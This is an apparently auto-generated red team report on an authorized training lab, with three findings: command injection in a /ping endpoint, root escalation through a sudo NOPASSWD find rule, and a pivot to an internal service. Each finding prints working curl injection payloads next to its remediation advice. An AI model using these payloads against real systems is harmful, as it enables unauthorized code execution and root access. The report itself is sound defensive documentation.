Red Team Engagement Report — DEFAULT mode — exploit/privesc/lateral/post

Company logo	[COMPANY LOGO]
Engagement ID	RT-20261127-F11C
Engagement	DEFAULT mode — exploit/privesc/lateral/post
Client	Local training range
Report date	2026-11-27
Mode	Standard
Status	completed
Company name	DSH Red Team
Prepared by	DSH Red Team
Reviewed by	Independent QA review
Contact	Not recorded
Website	Not recorded
Report version	1.0
Classification	CONFIDENTIAL
Distribution	Authorized distribution only.
Report ID	RT-20261127-F11C
Authorization date	2026-11-27
Client sign-off	Local training range authorized representative

Executive Summary

This report covers engagement DEFAULT mode — exploit/privesc/lateral/post for Local training range. Testing ran from 2026-11-27 to 2026-11-27 in Standard mode against 1 authorized scope entries. It was generated from the recorded engagement state only.

Objective

- Prove exploitation, privilege escalation, lateral movement and post-exploitation end-to-end

Overall risk in business terms

Immediate action is required. Confirmed, exploitable weaknesses could expose customer data, accounts or business operations.

Top three business issues

ID	Issue	Severity	Business impact
F-01	OS command injection in /ping?host= (unauthenticated RCE)	Critical	Not recorded
F-02	Sudo misconfiguration: NOPASSWD /usr/bin/find enables root (GTFOBins)	High	Not recorded
F-03	Internal service exposure via command-injection pivot to internal:8080	Medium	Not recorded

What to fix first

- F-01 — OS command injection in /ping?host= (unauthenticated RCE): Never interpolate user input into a shell. Use an allow-list of hosts and a direct exec of the ping binary with argument arrays (no shell=True), or better an in-process ICMP/TCP check. Add authn/authz on the endpoint, disable the diagnostic in production, and log/alert on metacharacters. (recommended target: 24 hours)
- F-02 — Sudo misconfiguration: NOPASSWD /usr/bin/find enables root (GTFOBins): Remove the NOPASSWD find rule. Never allow interpreters or tools with -exec/editor escapes in sudoers; if a diagnostic is required, grant a tight wrapper script with fixed arguments. Enforce Cmnd_Alias allow-lists, log sudo, and monitor for GTFOBins patterns. (recommended target: 7 days)
- F-03 — Internal service exposure via command-injection pivot to internal:8080: Segment the lab/production network so DMZ entry hosts cannot initiate arbitrary connections to internal management/service networks (deny by default egress, explicit allow-lists). Require authentication on internal services, prefer mTLS, and remove diagnostic command execution endpoints entirely so a web compromise is not a network pivot. (recommended target: 30 days)

Coverage and limitations

Phases accounted for: 9 of 9 (100%): 9 executed, 0 skipped by scope. WSTG checks tested: 3. Findings with evidence: 3 of 3 (100%).

Limitations and assumptions: No limitation was recorded for this engagement.

Sign-off

Prepared by DSH Red Team · Reviewed by Independent QA review · Client sign-off: Local training range authorized representative

3 findings were recorded: 1 critical, 1 high, 1 medium, 0 low and 0 informational.

Overall risk posture is Critical. Average CVSS score: 7.5. Findings with exploitation evidence: 0.

Evidence vault: 10 records, 10 KB total.

Top findings

The five highest-risk findings are listed below; full detail is in the findings section.

#	ID	Title	Severity	CVSS score	Asset
1	F-01	OS command injection in /ping?host= (unauthenticated RCE)	Critical	9.8	http://192.168.100.101:8081/ping
2	F-02	Sudo misconfiguration: NOPASSWD /usr/bin/find enables root (GTFOBins)	High	7.8	host entry (192.168.100.101)
3	F-03	Internal service exposure via command-injection pivot to internal:8080	Medium	4.9	http://192.168.100.101:8081/ping (pivot host entry)

Scope & Authorization

Only the targets, CIDR ranges and domains listed below were tested. Every listed exclusion was honored.

The client confirmed the Rules of Engagement before any active testing. The authorization below applies to engagement RT-20261127-F11C.

Rules of Engagement	Yes
Accepted at	2026-11-27 12:51Z
Client	Local training range
Contact	Not recorded
Start date	Not recorded
End date	Not recorded
Notes	Not recorded

Targets (1): http://192.168.100.101:8081/

CIDR ranges (0): None

Domains (0): None

Exclusions (0): None

Methodology

The engagement followed the PTES phase model. Phase status and elapsed time are derived from the recorded phase timestamps; no estimated values are reported.

Structure: PTES phases, CVSS v3.1 severity and vector metrics, OWASP Top 10 2021, OWASP WSTG and CWE identifiers. PCI DSS v4.0 and ISO/IEC 27001:2022 controls appear only where tags were recorded on a finding.

Coverage

Overall WSTG coverage: 3%.

Phase	Percent
Pre-engagement	0%
Reconnaissance	0%
Enumeration	0%
Vulnerability analysis	1%
Exploitation	0%
Privilege escalation	1%
Lateral movement	1%
Post-exploitation	0%
Reporting	0%

Tested WSTG checks: WSTG-ATHN-02, WSTG-CONF-01, WSTG-INPV-12.

Risk Posture

Finding counts by severity band. CVSS v3.1 bands are used for the mapping.

Severity	CVSS score	Count	Findings
Critical	9.0 – 10.0	1	F-01
High	7.0 – 8.9	1	F-02
Medium	4.0 – 6.9	1	F-03
Low	0.1 – 3.9	0	None
Informational	0.0	0	None

Average CVSS score: 7.5. Assets observed: 0.

Findings by severity

Counts and share of all recorded findings. Bars are scaled to the largest severity band.

Severity	CVSS score	Count	Share	Distribution
Critical	9.0 – 10.0	1	33.3%	▓▓▓
High	7.0 – 8.9	1	33.3%	▓▓▓
Medium	4.0 – 6.9	1	33.3%	▓▓▓
Low	0.1 – 3.9	0	0%	
Informational	0.0	0	0%	

CVSS v3.1 / NIST severity bands

Band counts use recorded CVSS v3.1 base scores. Findings without a recorded score are counted separately and are never assigned to a band.

Band	CVSS range	Findings	Share	Distribution
None	0.0	0	0%	
Low	0.1 – 3.9	0	0%	
Medium	4.0 – 6.9	1	33.3%	▓▓▓
High	7.0 – 8.9	1	33.3%	▓▓▓
Critical	9.0 – 10.0	1	33.3%	▓▓▓

Total: 3. No CVSS score recorded: 0.

Coverage summary

Metric	Value
Phases accounted for	9 of 9 (100%)
WSTG checks tested	3 · 3%
Findings with evidence	3 of 3 findings
Evidence records	10

Remediation priority

Priority	Findings
P1	2
P2	1
P3	0
P4	0

Priorities are recommended targets derived from recorded severity, not client-agreed SLAs.

Findings

3 findings were recorded, of which 0 include exploitation evidence.

F-01 — OS command injection in /ping?host= (unauthenticated RCE)

ID	F-01
Asset	http://192.168.100.101:8081/ping
Severity	Critical

ID	F-01
CVSS score	9.8
CVSS vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE	CWE-78
OWASP Top 10	A03:2021 Injection
WSTG	WSTG-INPV-12
Phase	Vulnerability analysis
Status	Verified
Confidence	70%
Tool run	run_mwyzdi6pmbw5yw

Business impact: Not recorded

Evidence:

```
$ curl -sS --get --data-urlencode host=127.0.0.1;id;hostname --max-time 15 http://192.168.100.101:8081/ping
```

```
Request (curl): curl -sS --get --data-urlencode 'host=127.0.0.1;id;hostname' http://192.168.100.101:8081/ping
Response: exit=0 / uid=1000(support) gid=1000(support) groups=1000(support) / entry / [stderr] /bin/sh: 12
7.0.0.1: not found
Evidence id ev_mwyzdidl_3sfs8voo83 (run_mwyzdi6pmbw5yw).
```

Remediation: Never interpolate user input into a shell. Use an allow-list of hosts and a direct exec of the ping binary with argument arrays (no shell=True), or better an in-process ICMP/TCP check. Add authn/authz on the endpoint, disable the diagnostic in production, and log/alert on metacharacters.

References:

- CWE-78 — MITRE Common Weakness Enumeration — https://cwe.mitre.org/data/definitions/78.html
- OWASP Top 10 A03:2021 — Injection — https://owasp.org/Top10/A03_2021-Injection/
- OWASP WSTG WSTG-INPV-12 — https://owasp.org/www-project-web-security-testing-guide/v42/

F-02 — Sudo misconfiguration: NOPASSWD /usr/bin/find enables root (GTFOBins)

ID	F-02
Asset	host entry (192.168.100.101)
Severity	High
CVSS score	7.8
CVSS vector	CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE	CWE-250
OWASP Top 10	A05:2021 Security Misconfiguration
WSTG	WSTG-ATHN-02
Phase	Privilege escalation
Status	Verified
Confidence	70%
Tool run	run_mwyzfcahgyqyq6

Business impact: Not recorded

Evidence:

```
$ curl -sS --get --data-urlencode host=127.0.0.1;sudo -n /usr/bin/find . -maxdepth 0 -exec /bin/sh -c 'id; cat /root/root.txt' \; --max-time 20 http://192.168.100.101:8081/ping
```

```
sudo -n -l (run_mwyzewjgnj28b3): "User support may run the following commands on entry: (root) NOPASSWD: /usr/bin/find" (evidence ev_mwyzewt4_eesba50qgr).
curl --get --data-urlencode "host=127.0.0.1;sudo -n /usr/bin/find . -maxdepth 0 -exec /bin/sh -c 'id; cat /root/root.txt' \;" http://192.168.100.101:8081/ping (run_mwyzfcahgyqyq6)
Response: uid=0(root) gid=0(root) ... / LAB{root_flag_entry_pwned} (evidence ev_mwyzfcho_mwoo5m09lq).
```

Remediation: Remove the NOPASSWD find rule. Never allow interpreters or tools with -exec/editor escapes in sudoers; if a diagnostic is required, grant a tight wrapper script with fixed arguments. Enforce Cmnd_Alias allow-lists, log sudo, and monitor for GTFOBins patterns.

References:

- CWE-250 — MITRE Common Weakness Enumeration — https://cwe.mitre.org/data/definitions/250.html
- OWASP Top 10 A05:2021 — Security Misconfiguration — https://owasp.org/Top10/A05_2021-Security_Misconfiguration/
- OWASP WSTG WSTG-ATHN-02 — https://owasp.org/www-project-web-security-testing-guide/v42/

F-03 — Internal service exposure via command-injection pivot to internal:8080

ID	F-03
Asset	http://192.168.100.101:8081/ping (pivot host entry)
Severity	Medium
CVSS score	4.9
CVSS vector	CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
CWE	CWE-441
OWASP Top 10	A01:2021 Broken Access Control
WSTG	WSTG-CONF-01
Phase	Lateral movement
Status	Verified
Confidence	70%
Tool run	run_mwyzfoputgm614

Business impact: Not recorded

Evidence:

```
$ curl -sS --get --data-urlencode host=127.0.0.1;curl -sS --max-time 8 http://internal:8080/flag --max-time 20 http://192.168.100.101:8081/ping
```

```
curl --get --data-urlencode "host=127.0.0.1;curl -sS --max-time 8 http://internal:8080/flag" http://192.168.100.101:8081/ping (run_mwyzfoputgm614)
Response: exit=0 / LAB{internal_lateral_movement_flag} (evidence ev_mwyzfoww_tmhv9hae4u). Internal host not directly reachable from the assessment host.
```

Remediation: Segment the lab/production network so DMZ entry hosts cannot initiate arbitrary connections to internal management/service networks (deny by default egress, explicit allow-lists). Require authentication on internal services, prefer mTLS, and remove diagnostic command execution endpoints entirely so a web compromise is not a network

pivot.

References:

- CWE-441 — MITRE Common Weakness Enumeration — https://cwe.mitre.org/data/definitions/441.html
- OWASP Top 10 A01:2021 — Broken Access Control — https://owasp.org/Top10/A01_2021-Broken_Access_Control/
- OWASP WSTG WSTG-CONF-01 — https://owasp.org/www-project-web-security-testing-guide/v42/

Compliance Mapping

OWASP Top 10 2021 family distribution across the recorded findings.

OWASP Top 10 2021 checklist

Status is derived from recorded coverage and finding tags only. All ten families are listed to document coverage; untested rows are not claims of testing. A family is shown as not applicable only when the engagement data says so.

Family	Title	Count	Status	Distribution
A01	Broken Access Control	1	Tested	▓▓▓
A02	Cryptographic Failures	0	not-tested	
A03	Injection	1	Tested	▓▓▓
A04	Insecure Design	0	not-tested	
A05	Security Misconfiguration	1	Tested	▓▓▓
A06	Vulnerable and Outdated Components	0	not-tested	
A07	Identification and Authentication Failures	0	not-tested	
A08	Software and Data Integrity Failures	0	not-tested	
A09	Security Logging and Monitoring Failures	0	not-tested	
A10	Server-Side Request Forgery (SSRF)	0	not-tested	

No PCI DSS or ISO 27001 control tags were recorded on findings.

Evidence register

Evidence was collected during the engagement: 10 records, 10 KB total. File names and SHA-256 hashes refer to the stored artifacts in the engagement evidence vault.

Tool and scan output (9)

- ev_mwz0qays_wbj4lgy03h · Tool output · nuclei on http://192.168.100.101:8081/ (exit 0) · http://192.168.100.101:8081/ · 2026-11-27 13:29Z · 2 KB · SHA-256: c3cb42939e01282c4659803b1026687e297baaa8a8c59fdba9f7816b0762717b · Linked findings: None · File: nuclei-on-http-192-168-100-101-8081-exit-0.txt
- ev_mwyzg3ir_zfjgnv51rv · Tool output · curl on http://192.168.100.101:8081/ping (exit 0) · http://192.168.100.101:8081/ping · 2026-11-27 12:53Z · 399 B · SHA-256: 7d03c6a9460ee9c9b7b7cb0ad9fb167098d06d47ef8001f5d95c77f226eafca7 · Linked findings: None · File: curl-on-http-192-168-100-101-8081-ping-exit-0.txt
- ev_mwyzfoww_tmhv9hae4u · Tool output · curl on http://192.168.100.101:8081/ping (exit 0) · http://192.168.100.101:8081/ping · 2026-11-27 12:53Z · 301 B · SHA-256:

a6d0a42e3ee0a8e4a35863d4dfe2ed4ba00f4f1d847601501482e15ec18e50d1 · Linked findings: F-03 · File: curl-on-http-192-168-100-101-8081-ping-exit-0.txt

- ev_mwyzfcho_mwoo5m09lq · Tool output · curl on http://192.168.100.101:8081/ping (exit 0) · http://192.168.100.101:8081/ping · 2026-11-27 12:53Z · 455 B · SHA-256: a8c8721b39a445b5acda19690170d4dc24c8dd82d97051a70e8d74e8b885bd56 · Linked findings: F-02 · File: curl-on-http-192-168-100-101-8081-ping-exit-0.txt
- ev_mwyzewt4_eesba50qgr · Tool output · curl on http://192.168.100.101:8081/ping (exit 0) · http://192.168.100.101:8081/ping · 2026-11-27 12:52Z · 571 B · SHA-256: 2a39802dfe97cba8fdbf1bff8a90bc9d59bf2e260e56a4523a6f3f3954e82110 · Linked findings: None · File: curl-on-http-192-168-100-101-8081-ping-exit-0.txt
- ev_mwyzeqe4_m9ok1l39c6 · Tool output · curl on http://192.168.100.101:8081/ping (exit 0) · http://192.168.100.101:8081/ping · 2026-11-27 12:52Z · 333 B · SHA-256: 8f4f3dc60872fe28894c472053db2bf40930aa2257d428c0dab5673346ac9c27 · Linked findings: F-01 · File: curl-on-http-192-168-100-101-8081-ping-exit-0.txt
- ev_mwyze1c2_e1j2e6cnd3 · Tool output · curl on http://192.168.100.101:8081/ (exit 0) · http://192.168.100.101:8081/ · 2026-11-27 12:52Z · 514 B · SHA-256: 4a71175663546869143bf7a4a7796da46d7575f7146942d0b31143db5885908a · Linked findings: None · File: curl-on-http-192-168-100-101-8081-exit-0.txt
- ev_mwyzdidl_3sfs8voo83 · Tool output · curl on http://192.168.100.101:8081/ping (exit 0) · http://192.168.100.101:8081/ping · 2026-11-27 12:51Z · 291 B · SHA-256: 8c46fa58f7a60296ce03f129523dd82908225d1a9b107e48441588e9228be910 · Linked findings: F-01 · File: curl-on-http-192-168-100-101-8081-ping-exit-0.txt
- ev_mwyzdael_440vwsirpg · Tool output · curl on http://192.168.100.101:8081/ (exit 0) · http://192.168.100.101:8081/ · 2026-11-27 12:51Z · 668 B · SHA-256: 14b22ccca6dc5df9e8483d192f01098547c66aa9db7d732a585037c91bc884f6 · Linked findings: None · File: curl-on-http-192-168-100-101-8081-exit-0.txt

Captured data (1)

- **ev_mwyzd2gu_lx0t4snwej · JSON data · Web assessment http://192.168.100.101:8081/ · http://192.168.100.101:8081/ · 2026-11-27 12:51Z · 4.9 KB · SHA-256: b9e3d702ab5200bd837ecb3048e8eac1c282479b26b42dfe579491f297903a62 · Linked findings: None · File: web-assessment-http-192-168-100-101-8081.json**

Appendix — Tool inventory

Tools recorded in the engagement store. Counts come from recorded tool runs; command lines and process details are deliberately omitted from the client report.

Tool	Runs	Non-zero exits	Phases	First recorded use	Last recorded use
curl	8	0	Enumeration, Exploitation, Lateral movement, Post-exploitation, Privilege escalation, Reconnaissance, Vulnerability analysis	2026-11-27 12:51Z	2026-11-27 12:53Z
nuclei	1	0	Vulnerability analysis	2026-11-27 13:29Z	2026-11-27 13:29Z

Authorization Disclaimer

This report was produced by DSH Red Team for engagement RT-20261127-F11C for Local training range. It is confidential and intended only for authorized recipients. Testing was

performed exclusively against targets explicitly listed in the Rules of Engagement, and entities marked as exclusions were not tested. Findings reflect the state of the environment at the time of testing; issues introduced or disclosed later may not be covered. The report is provided as-is without warranty of any kind. All testing required written authorization, and any use of these results outside the agreed scope is the responsibility of the recipient.

Distribution is limited to the engagement client and authorized recipients. Do not reuse this report as authorization for additional testing.

RT-20261127-F11C · CONFIDENTIAL · Authorized distribution only.